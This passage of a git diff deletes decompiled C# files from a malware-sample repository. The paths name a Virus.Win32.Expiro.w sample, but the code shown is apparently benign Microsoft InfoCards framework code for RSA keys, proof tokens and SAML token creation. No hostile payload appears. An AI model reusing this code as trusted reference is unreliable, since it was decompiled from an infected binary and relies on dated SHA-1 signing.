AsymmetricKey, - NoKey, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs deleted file mode 100644 index dfa81134..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthAsymmetricKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthAsymmetricKey : AsymmetricSecurityKey, IDisposable - { - private SelfIssuedAuthRSACryptoProvider m_selfIssuedAuthRsaCryptoProvider; - - public SelfIssuedAuthAsymmetricKey(RSACryptoServiceProvider rsa) => this.m_selfIssuedAuthRsaCryptoProvider = new SelfIssuedAuthRSACryptoProvider(rsa); - - public override int KeySize => this.m_selfIssuedAuthRsaCryptoProvider.KeySize; - - public override bool HasPrivateKey() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_selfIssuedAuthRsaCryptoProvider.IsPublicOnly(), "selfIssuedRsaCrypoProvider"); - return true; - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return (AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("ClientUnsupportedCryptoAlgorithm", (object) algorithmUri))); - } - } - - public override HashAlgorithm GetHashAlgorithmForSignature(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (HashAlgorithm) new SHA1Managed(); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureDeformatter) new SelfIssuedAuthRSAPKCS1SignatureDeformatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - return (AsymmetricSignatureFormatter) new SelfIssuedAuthRSAPKCS1SignatureFormatter((AsymmetricAlgorithm) this.m_selfIssuedAuthRsaCryptoProvider); - default: - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException(SR.GetString("UnsupportedSignatureAlgorithm", (object) algorithmUri))); - } - } - - public override byte[] DecryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] EncryptKey(string algorithmUri, byte[] keyData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return true; - default: - return false; - } - } - - public override bool IsSymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsSymmetricAlgorithm(algorithmUri); - - public override bool IsAsymmetricAlgorithm(string algorithmUri) => InfoCardCryptoHelper.IsAsymmetricAlgorithm(algorithmUri); - - public void Dispose() - { - if (this.m_selfIssuedAuthRsaCryptoProvider == null) - return; - this.m_selfIssuedAuthRsaCryptoProvider.Dispose(); - this.m_selfIssuedAuthRsaCryptoProvider = (SelfIssuedAuthRSACryptoProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs deleted file mode 100644 index 8504f55f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthProofToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthProofToken : SecurityToken, IDisposable - { - private string m_id; - private DateTime m_expiration; - private ReadOnlyCollection m_securityKeys; - private SecurityKey m_securityKey; - private bool m_isSymmetric; - private RSACryptoServiceProvider m_publicKey; - - public SelfIssuedAuthProofToken(RSACryptoServiceProvider rsa, DateTime expiration) - : this(expiration) - { - this.m_publicKey = new RSACryptoServiceProvider(); - this.m_publicKey.ImportCspBlob(rsa.ExportCspBlob(false)); - this.InitCrypto((SecurityKey) new SelfIssuedAuthAsymmetricKey(rsa)); - } - - public SelfIssuedAuthProofToken(InMemorySymmetricSecurityKey symKey, DateTime expiration) - : this(expiration) - { - this.m_isSymmetric = true; - this.InitCrypto((SecurityKey) symKey); - } - - private SelfIssuedAuthProofToken(DateTime expiration) - { - this.m_id = Guid.NewGuid().ToString(); - this.m_expiration = expiration.ToUniversalTime(); - } - - public override string Id => this.m_id; - - public override ReadOnlyCollection SecurityKeys => this.m_securityKeys; - - public override DateTime ValidTo => this.m_expiration; - - public override DateTime ValidFrom => DateTime.UtcNow; - - private void InitCrypto(SecurityKey securityKey) - { - this.m_securityKey = securityKey; - this.m_securityKeys = new List(1) - { - securityKey - }.AsReadOnly(); - } - - public override bool CanCreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause); - - public override T CreateKeyIdentifierClause() => (object) typeof (T) == (object) typeof (RsaKeyIdentifierClause) ? (T) new RsaKeyIdentifierClause((RSA) this.m_publicKey) : base.CreateKeyIdentifierClause(); - - public override bool MatchesKeyIdentifierClause(SecurityKeyIdentifierClause keyIdentifierClause) => keyIdentifierClause is RsaKeyIdentifierClause identifierClause && identifierClause.Matches((RSA) this.m_publicKey); - - public void Dispose() - { - if (this.m_securityKey != null && !this.m_isSymmetric) - { - ((IDisposable) this.m_securityKey).Dispose(); - this.m_securityKey = (SecurityKey) null; - this.m_securityKeys = (ReadOnlyCollection) null; - } - if (this.m_publicKey == null) - return; - this.m_publicKey.Dispose(); - this.m_publicKey = (RSACryptoServiceProvider) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs deleted file mode 100644 index 149f29a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSACryptoProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSACryptoProvider : RSA - { - private RSACryptoServiceProvider m_rsa; - - public SelfIssuedAuthRSACryptoProvider(RSACryptoServiceProvider rsa) => this.m_rsa = rsa; - - public override string SignatureAlgorithm => this.m_rsa.SignatureAlgorithm; - - public override string KeyExchangeAlgorithm => this.m_rsa.KeyExchangeAlgorithm; - - public bool IsPublicOnly() => this.m_rsa.PublicOnly; - - public override byte[] EncryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override byte[] DecryptValue(byte[] rgb) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Decrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] Encrypt(byte[] inData, bool fAOEP) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - return this.m_rsa.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - InfoCardTrace.ThrowInvalidArgumentConditional(hash == null || 0 == hash.Length, nameof (hash)); - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(hashAlgOid), nameof (hashAlgOid)); - InfoCardTrace.ThrowInvalidArgumentConditional(sig == null || 0 == sig.Length, nameof (sig)); - return this.m_rsa.VerifyHash(hash, hashAlgOid, sig); - } - - public override RSAParameters ExportParameters(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string ToXmlString(bool includePrivateParameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void FromXmlString(string xmlString) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_rsa == null) - return; - this.m_rsa.Dispose(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs deleted file mode 100644 index 65419be4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureDeformatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureDeformatter : RSAPKCS1SignatureDeformatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureDeformatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override bool VerifySignature(byte[] rgbHash, byte[] rgbSignature) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && rgbSignature != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).VerifyHash(rgbHash, this.m_strOID, rgbSignature) : base.VerifySignature(rgbHash, rgbSignature); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs deleted file mode 100644 index 804b6f9f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedAuthRSAPKCS1SignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedAuthRSAPKCS1SignatureFormatter : RSAPKCS1SignatureFormatter - { - private RSA m_rsaKey; - private string m_strOID; - - public SelfIssuedAuthRSAPKCS1SignatureFormatter() - { - } - - public SelfIssuedAuthRSAPKCS1SignatureFormatter(AsymmetricAlgorithm key) - : base(key) - { - this.m_rsaKey = (RSA) key; - } - - public override void SetKey(AsymmetricAlgorithm key) - { - base.SetKey(key); - this.m_rsaKey = (RSA) key; - } - - public override void SetHashAlgorithm(string strName) - { - base.SetHashAlgorithm(strName); - this.m_strOID = CryptoConfig.MapNameToOID(strName); - } - - public override byte[] CreateSignature(byte[] rgbHash) => this.m_strOID != null && this.m_rsaKey != null && rgbHash != null && this.m_rsaKey is SelfIssuedAuthRSACryptoProvider ? ((SelfIssuedAuthRSACryptoProvider) this.m_rsaKey).SignHash(rgbHash, this.m_strOID) : base.CreateSignature(rgbHash); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs deleted file mode 100644 index e7116d1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs +++ /dev/null @@ -1,312 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedSamlTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedSamlTokenFactory : TokenFactoryBase - { - private const string SamlAssertionIdPrefix = "SamlSecurityToken-"; - private const string DefaultDigestAlgorithm = "http://www.w3.org/2000/09/xmldsig#sha1"; - public static readonly TimeSpan TokenLifetime = new TimeSpan(1, 0, 0); - private static readonly SamlSerializer samlSerializer = new SamlSerializer(); - private string m_signatureAlgorithm = "http://www.w3.org/2000/09/xmldsig#rsa-sha1"; - private string m_encryptionAlgorithm = SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm; - private string m_encryptWithAlgorithm; - private string m_keyWrapAlgorithm; - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter creationParam, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - RSACryptoServiceProvider cryptoServiceProvider = (RSACryptoServiceProvider) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignatureAlgorithm)) - this.m_signatureAlgorithm = policy.OptionalRstParams.SignatureAlgorithm; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm)) - this.m_encryptionAlgorithm = policy.OptionalRstParams.EncryptionAlgorithm; - TokenDescriptor tokenDescriptor; - try - { - List claimSet = this.GetClaimSet(card, policy, discloseOptional); - List disclosedClaims = new List(claimSet.Count); - for (int index = 0; index < claimSet.Count; ++index) - disclosedClaims.Add(claimSet[index].Id); - SamlSecurityToken samlToken; - DisplayToken displayToken; - XmlElement protectedToken; - using (RSACryptoServiceProvider publicCryptography = card.GetPublicCryptography(policy.Recipient.GetIdentifier())) - { - SecurityKeyIdentifier issuerKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) publicCryptography) - }); - SecurityKeyIdentifier proofKeyIdentifier; - SecurityKey proofCryptoInsideSamlToken; - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - InfoCardTrace.Assert(policy.ImmediateTokenRecipient is X509RecipientIdentity, "Symmetric key type is not allowed when no certifcate is provided for the token recipeint"); - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm : policy.OptionalRstParams.EncryptWith; - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - SecurityAlgorithmSuite securityAlgorithmSuite; - switch (this.m_encryptWithAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - symmetricProof.KeySize = securityAlgorithmSuite.DefaultSymmetricKeyLength; - X509SecurityToken x509SecurityToken = new X509SecurityToken(((X509RecipientIdentity) policy.ImmediateTokenRecipient).LeafCertificate, Guid.NewGuid().ToString()); - SecurityKeyIdentifier encryptingKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) x509SecurityToken.CreateKeyIdentifierClause() - }); - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(x509SecurityToken.SecurityKeys[0].EncryptKey(this.m_keyWrapAlgorithm, symmetricProof.Key), this.m_keyWrapAlgorithm, encryptingKeyIdentifier) - }); - proofCryptoInsideSamlToken = (SecurityKey) new InMemorySymmetricSecurityKey(symmetricProof.Key); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : policy.OptionalRstParams.EncryptWith; - this.m_keyWrapAlgorithm = this.m_encryptWithAlgorithm; - symmetricProof = (SymmetricAlgorithm) null; - cryptoServiceProvider = publicCryptography; - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) cryptoServiceProvider) - }); - proofCryptoInsideSamlToken = proofKeyIdentifier.CreateKey(); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else - { - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal."); - proofKeyIdentifier = (SecurityKeyIdentifier) null; - proofCryptoInsideSamlToken = (SecurityKey) null; - } - using (SelfIssuedAuthAsymmetricKey issuerSigningKey = new SelfIssuedAuthAsymmetricKey(card.GetPrivateCryptography(policy.Recipient.GetIdentifier()))) - { - Uri uri = policy.ImmediateTokenRecipient.Address.Uri; - if ((EndpointAddress) null != policy.PolicyAppliesTo) - uri = policy.PolicyAppliesTo.Uri; - samlToken = this.CreateSamlToken(claimSet, issuerKeyIdentifier, proofKeyIdentifier, proofCryptoInsideSamlToken, (SecurityKey) issuerSigningKey, uri); - displayToken = this.CreateDisplayToken(claimSet); - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient) - { - protectedToken = EncryptionUtility.EncryptSecurityToken((SecurityToken) samlToken, immediateTokenRecipient.LeafCertificate, this.m_encryptionAlgorithm, this.m_keyWrapAlgorithm, policy.ProtocolVersionProfile); - } - else - { - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - policy.ProtocolVersionProfile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, (SecurityToken) samlToken); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - protectedToken = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - input.Close(); - } - } - } - StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture); - policy.ProtocolVersionProfile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(samlToken.Id)); - w.Flush(); - string str = w.GetStringBuilder().ToString(); - tokenDescriptor = new TokenDescriptor(samlToken.Id, samlToken.ValidFrom, samlToken.ValidTo, protectedToken, displayToken, symmetricProof, str, str, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException((string) null, ex)); - throw; - } - finally - { - cryptoServiceProvider?.Dispose(); - symmetricProof?.Dispose(); - } - return tokenDescriptor; - } - - private void ThrowIfProofKeyOperationsNotSupported( - InfoCardPolicy policy, - SecurityKey proofCryptoInsideSamlToken) - { - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignWith) && !proofCryptoInsideSamlToken.IsSupportedAlgorithm(policy.OptionalRstParams.SignWith)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignWithAlgorithm", (object) policy.OptionalRstParams.SignWith))); - if (!proofCryptoInsideSamlToken.IsSupportedAlgorithm(this.m_encryptWithAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - - private SamlSecurityToken CreateSamlToken( - List claims, - SecurityKeyIdentifier issuerKeyIdentifier, - SecurityKeyIdentifier proofKeyIdentifier, - SecurityKey proofCryptoInsideSamlToken, - SecurityKey issuerSigningKey, - Uri immediateTokenRecipientUri) - { - DateTime utcNow = DateTime.UtcNow; - SamlAudienceRestrictionCondition restrictionCondition = new SamlAudienceRestrictionCondition((IEnumerable) new Collection() - { - immediateTokenRecipientUri - }); - SamlConditions samlConditions = new SamlConditions(utcNow, utcNow.Add(SelfIssuedSamlTokenFactory.TokenLifetime), (IEnumerable) new Collection() - { - (SamlCondition) restrictionCondition - }); - SamlSubject samlSubject = new SamlSubject((string) null, (string) null, (string) null, (IEnumerable) new string[1] - { - proofKeyIdentifier != null ? SamlConstants.HolderOfKey : "urn:oasis:names:tc:SAML:1.0:cm:bearer" - }, (string) null, proofKeyIdentifier); - if (proofCryptoInsideSamlToken != null) - samlSubject.Crypto = proofCryptoInsideSamlToken; - List attributes = new List(claims.Count); - char[] chArray = new char[1]{ '/' }; - for (int index = 0; index < claims.Count; ++index) - { - string[] strArray = claims[index].Id.Split(chArray); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == strArray.Length, "claimUri"); - string attributeName = strArray[strArray.Length - 1]; - if (claims[index].Id == InfoCardConstants.Gender) - InfoCardTrace.Assert(claims[index].Value == "0" || claims[index].Value == "1" || claims[index].Value == "2", "Wrong value type for gender claim, only values '0' (Unspecified), '1' (Male) and '2' (Female) are allowed "); - if (claims[index].Id == InfoCardConstants.DateOfBirth) - { - DateTime universalTime = DateTime.Parse(claims[index].Value, (IFormatProvider) CultureInfo.InvariantCulture).ToUniversalTime(); - InfoCardTrace.Assert(true, "Invalid value for date of birth "); - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - XmlConvert.ToString(universalTime, XmlDateTimeSerializationMode.Utc) - })); - } - else - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - claims[index].ToString() - })); - } - SamlAttributeStatement attributeStatement = new SamlAttributeStatement(samlSubject, (IEnumerable) attributes); - SamlAssertion assertion = new SamlAssertion("SamlSecurityToken-" + Guid.NewGuid().ToString(), "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self", utcNow, samlConditions, (SamlAdvice) null, (IEnumerable) new List(1) - { - (SamlStatement) attributeStatement - }); - if (!issuerSigningKey.IsSupportedAlgorithm(this.m_signatureAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignatureAlgorithm", (object) this.m_signatureAlgorithm))); - assertion.SigningCredentials = new SigningCredentials(issuerSigningKey, this.m_signatureAlgorithm, "http://www.w3.org/2000/09/xmldsig#sha1", issuerKeyIdentifier); - return new SamlSecurityToken(assertion); - } - - private DisplayToken CreateDisplayToken(List claims) - { - List claimList = new List(); - for (int index = 0; index < claims.Count; ++index) - { - DisplayClaim displayClaim = new 